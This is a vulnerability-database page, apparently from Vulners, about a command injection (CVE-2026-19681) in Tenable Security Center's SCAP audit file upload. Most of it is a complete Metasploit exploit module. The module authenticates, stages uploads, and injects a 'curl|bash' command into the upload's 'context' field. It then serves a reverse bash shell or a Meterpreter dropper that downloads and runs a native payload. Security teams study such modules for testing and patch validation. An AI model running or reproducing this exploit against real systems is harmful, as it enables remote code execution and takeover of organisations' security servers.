Tenable Security Center SCAP Audit File Command Injection
| Reporter | Title | Published | Views | Family All 14 |
|---|---|---|---|---|
| Exploit for OS Command Injection in Tenable Security_Center | 24 Aug 202610:33 | – | githubexploit | |
| poc_cve_2026_19681 | 23 Aug 202613:12 | – | githubexploit | |
| CVE-2026-19681 | 14 Aug 202617:45 | – | attackerkb | |
| CVE-2026-19681 | 14 Aug 202619:00 | – | circl | |
| CVE-2026-19681 | 14 Aug 202617:45 | – | cve | |
| CVE-2026-19681 Command Injection | 14 Aug 202617:45 | – | cvelist | |
| EUVD-2026-58745 | 14 Aug 202617:45 | – | euvd | |
| POC-CVE-2026-19681 | 25 Aug 202604:28 | – | kitploit | |
| CVE-2026-19681 | 14 Aug 202618:17 | – | nvd | |
| Tenable Security Center SCAP Audit File Command Injection | 26 Aug 202600:00 | – | packetstorm |
10
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer
def tailoring_xml
collection = Rex::Text.rand_text_alphanumeric(8)
benchmark = Rex::Text.rand_text_alphanumeric(8)
profile = Rex::Text.rand_text_alphanumeric(8)
<<~XML
<?xml version="1.0" encoding="UTF-8"?>
<ds:data-stream-collection xmlns:ds="http://scap.nist.gov/schema/scap/source/1.2"
xmlns:xccdf="http://checklists.nist.gov/xccdf/1.2"
id="#{collection}">
<xccdf:Benchmark id="xccdf_#{benchmark}" version="1.0">
<xccdf:status>draft</xccdf:status>
<xccdf:title>#{benchmark}</xccdf:title>
<xccdf:Profile id="xccdf_#{profile}" extends="xccdf_#{benchmark}">
<xccdf:title>#{profile}</xccdf:title>
</xccdf:Profile>
</xccdf:Benchmark>
</ds:data-stream-collection>
XML
end
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Tenable Security Center SCAP Audit File Command Injection',
'Description' => %q{
Tenable Security Center prior to 6.9.0 allows an authenticated user to
achieve command execution as the web service account (tns) via the SCAP
audit file upload flow.
Filesystem::saveTmp() builds staged upload filenames from the raw
client-supplied `context` form parameter (tempnam prefix), which is not
charset-validated. Referencing that staged file in a
POST /rest/auditFile (type=scapLinux, version=1.2) request reaches
AuditFileLib::addSCAPTailoringFile(), where the zip repack command
interpolates the derived path unescaped:
exec("{$CommandZIP} -9Tj $tmpZipFile $newTailoringFilenameEsc");
basename() strips '/' but not shell metacharacters, so a context like
`p;CMD;` executes CMD through /bin/sh.
Constraints (measured on 6.7.2): the staged-name prefix survives only
~50 characters of context and may not contain '/' (saveTmp() applies
basename()). This module therefore serves the payload over HTTP and
injects only `curl${IFS}<srvhost>:<srvport>|bash` (a bare host:port
GETs / and bash reads the served script from stdin). The served script
itself has no such limits, which the Linux Dropper target exploits
with a fetch payload (cmd/linux/http/...) that downloads and execs a
full native payload (e.g. x64 meterpreter) from the payload adapter's
own listener on FETCH_SRVPORT.
Tested against SecurityCenter 6.7.2-14 on RHEL9.
},
'License' => MSF_LICENSE,
'Author' => ['h00die'],
'References' => [
['CVE', '2026-19681'],
['URL', 'https://www.tenable.com/security/tns-2026-22']
],
'DisclosureDate' => '2026-08-13',
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'Targets' => [
# msf defaults to php payload, but SC bundles its own php and its not in the path so
# we want to avoid that since it'll fail
['Unix Command', { 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' } }], # rubocop:disable Lint/ModuleDefaultPayload
# the fetch payload adapts ARCH_CMD to a native stage via AdaptedArch;
# x86/aarch64/multi variants of cmd/linux/http/... work here too
[
'Linux Dropper', {
'Platform' => 'linux',
'Arch' => ARCH_CMD,
'DefaultOptions' => {
# pinned: a native stage must come through a fetch payload to fit
# the length/charset-limited curl|bash injection
'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp' # rubocop:disable Lint/ModuleDefaultPayload
}
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'SSL' => true,
'RPORT' => 443,
'PrependFork' => true,
'WfsDelay' => 10,
# fetch-payload staging (module-level so they apply even when the
# payload is selected by hand rather than via the Dropper target):
# the web process cwd isn't writable by tns, so stage from /tmp, and
# keep the fetch listener off this module's SRVPORT script server
'FETCH_WRITABLE_DIR' => '/tmp',
'FETCH_SRVPORT' => 8081
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Base path', '/']),
OptString.new('USERNAME', [true, 'Username to authenticate with', '']),
OptString.new('PASSWORD', [true, 'Password to authenticate with', ''])
])
end
def login
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'rest', 'token'),
'ctype' => 'application/json',
'data' => { 'username' => datastore['USERNAME'], 'password' => datastore['PASSWORD'] }.to_json
)
fail_with(Failure::Unreachable, 'No response to login') unless res
json = res.get_json_document
fail_with(Failure::NoAccess, "Login failed: #{json['error_msg']}") if json['error_code'] != 0
token = json['response']
token = token['token'] if token.is_a?(Hash)
fail_with(Failure::NoAccess, "No token in login response: #{json}") if token.blank?
# the TNS_SESSIONID cookie locates the session; the X-SecurityCenter token is
# only accepted alongside it (HttpClient keeps no cookie jar of its own).
# SC rotates the session id on login (two Set-Cookie headers) — keep only the
# final value; get_cookies also leaks Set-Cookie attributes (SameSite etc.)
session = res.get_cookies.scan(/TNS_SESSIONID=([a-f0-9]+)/i).flatten.last
fail_with(Failure::NoAccess, 'No TNS_SESSIONID cookie in login response') unless session
@cookies = "TNS_SESSIONID=#{session}"
token.to_s
end
def upload(context, data, fname)
form = Rex::MIME::Message.new
form.add_part(data, 'application/octet-stream', nil, "form-data; name=\"Filedata\"; filename=\"#{fname}\"")
form.add_part(context, nil, nil, 'form-data; name="context"')
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'rest', 'file', 'upload'),
'ctype' => "multipart/form-data; boundary=#{form.bound}",
'data' => form.to_s,
'headers' => { 'X-SecurityCenter' => @token, 'Cookie' => @cookies }
)
fail_with(Failure::Unreachable, 'No response to upload') unless res
json = res.get_json_document
fail_with(Failure::UnexpectedReply, "Upload failed: #{json['error_msg']}") if json['error_code'] != 0
json['response']['filename']
end
def audit_file(staged_zip, staged_tail)
body = {
'name' => Rex::Text.rand_text_alphanumeric(8),
'type' => 'scapLinux', # AuditFileLib validSCAPTypes
'version' => '1.2', # tailoring branch requires 1.2
'benchmarkName' => Rex::Text.rand_text_alphanumeric(8),
'dataStreamName' => Rex::Text.rand_text_alphanumeric(8),
'profileName' => '',
'filename' => staged_zip,
'originalFilename' => "#{Rex::Text.rand_text_alphanumeric(8)}.zip",
'tailoringFilename' => staged_tail,
'tailoringOriginalFilename' => "#{Rex::Text.rand_text_alphanumeric(8)}-tailoring.xml",
'auditFileTemplate' => { 'id' => -1 },
'description' => Rex::Text.rand_text_alphanumeric(8)
}
t0 = Time.now
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'rest', 'auditFile'),
'ctype' => 'application/json',
'data' => body.to_json,
'headers' => { 'X-SecurityCenter' => @token, 'Cookie' => @cookies }
)
[res, Time.now - t0]
end
def fire(context)
# staged uploads: blank-context zip (content never inspected) + real tailoring
# XML (the tailoringFile context parses it and requires >= 1 Profile)
staged_zip = upload(context, Rex::Text.rand_text_alphanumeric(64), "#{Rex::Text.rand_text_alphanumeric(8)}.zip")
staged_tail = upload('tailoringFile', tailoring_xml, "#{Rex::Text.rand_text_alphanumeric(8)}-tailoring.xml")
vprint_status("Staged Files Names: zip='#{staged_zip}' tailoring='#{staged_tail}'")
audit_file(staged_zip, staged_tail)
end
def check
@token = login
# state-light differential: sleep canary in the context prefix. On vulnerable
# builds the zip command stalls; on 6.9.0 (escapeshellarg'd) it returns fast
# with the post-exec error 106 bounce.
vprint_status("Attempting to send injected sleep to #{rhost}:#{rport}...")
res, elapsed = fire("#{Rex::Text.rand_text_alphanumeric(1)};sleep${IFS}7;")
return CheckCode::Unknown('No response to auditFile') unless res
json = res.get_json_document
if elapsed > 5
CheckCode::Vulnerable("Injected sleep executed (request stalled #{elapsed.round(1)}s)")
elsif json['error_msg'].to_s.include?('Invalid tailoring filename')
CheckCode::Safe('Filename validation present (patched, 6.9.0+)')
else
CheckCode::Safe("No stall (#{elapsed.round(1)}s); reply: #{json['error_msg']}")
end
end
def on_request_uri(cli, _req)
# sc brings its own php, so use that location
if @payload_cmd.end_with?('exec php')
@payload_cmd = @payload_cmd.gsub(/exec php$/, 'exec /opt/sc/support/bin/php') # normalize line endings
end
send_response(cli, @payload_cmd, 'Content-Type' => 'text/plain')
end
# HttpServer's start_service does `opts['ssl'] ||= http_server_ssl`, so an
# explicit 'ssl' => false gets clobbered (false is falsey) and the server
# inherits the datastore SSL meant for the 443 client side. The injected
# `curl host:port|bash` speaks plaintext HTTP — force the reader (aliased to
# the datastore ssl) to false so this script server stays http. The Dropper
# target's cmd/linux/http fetch payload serves its ELF over plaintext HTTP
# too (cmd/linux/https/... exists if that ever needs encrypting).
def http_server_ssl
false
end
def exploit
@token = login
# for the Dropper target payload.encoded is the fetch payload's
# download-and-exec command (curl ELF from FETCH_SRVHOST:FETCH_SRVPORT,
# chmod +x, exec); the payload adapter runs that listener itself, so this
# module only serves the command text at / below
@payload_cmd = payload.encoded
srv_ip = srvhost == '0.0.0.0' ? Rex::Socket.source_address(rhost) : srvhost
# plaintext payload server (see http_server_ssl override): datastore SSL
# stays true for the client side against 443. Path MUST be root — the
# injected curl|bash fetch carries no path component, and leaving 'Path'
# unset mounts the default Proc on a random URI instead.
start_service('Path' => '/')
inject = "curl${IFS}#{srv_ip}:#{datastore['SRVPORT']}|bash"
fail_with(Failure::BadConfig, "Injection prefix too long for the tempnam budget: #{inject}") if inject.length > 50
print_status("Injecting '#{inject}' (payload served at http://#{srv_ip}:#{datastore['SRVPORT']}/)")
# baseline BEFORE firing: the dropper can connect back fast enough that the
# session exists by the time we reach the wait loop
initial = framework.sessions.count
res, elapsed = fire("p;#{inject};")
# no response here is expected and GOOD: a payload like a reverse shell can
# hold the injected request open (or consume it outright), so the auditFile
# POST never completes — the session is the real signal, not this reply
if res
json = res.get_json_document
vprint_status("auditFile reply in #{elapsed.round(1)}s: #{json['error_msg']}")
# error 106 ("Error adding Tailoring file") is the normal post-exec bounce;
# it also means no AuditFile record was persisted (the GUI stays clean)
else
vprint_status('No auditFile reply — the payload likely held the request open')
end
# keep the payload server alive while the target's curl|bash runs; module
# cleanup would otherwise tear it down before the fetch lands
print_status('Waiting for the payload fetch and session...')
waited = 0
while waited < 20 && framework.sessions.count == initial
Rex.sleep(1)
waited += 1
end
if framework.sessions.count > initial
print_good('Session opened')
else
print_warning("No session after #{waited}s — verify #{srv_ip}:#{datastore['SRVPORT']} is reachable from the target")
end
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
13 Aug 2026 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 49.4
CVSS 3.19.9
EPSS0.07801
SSVC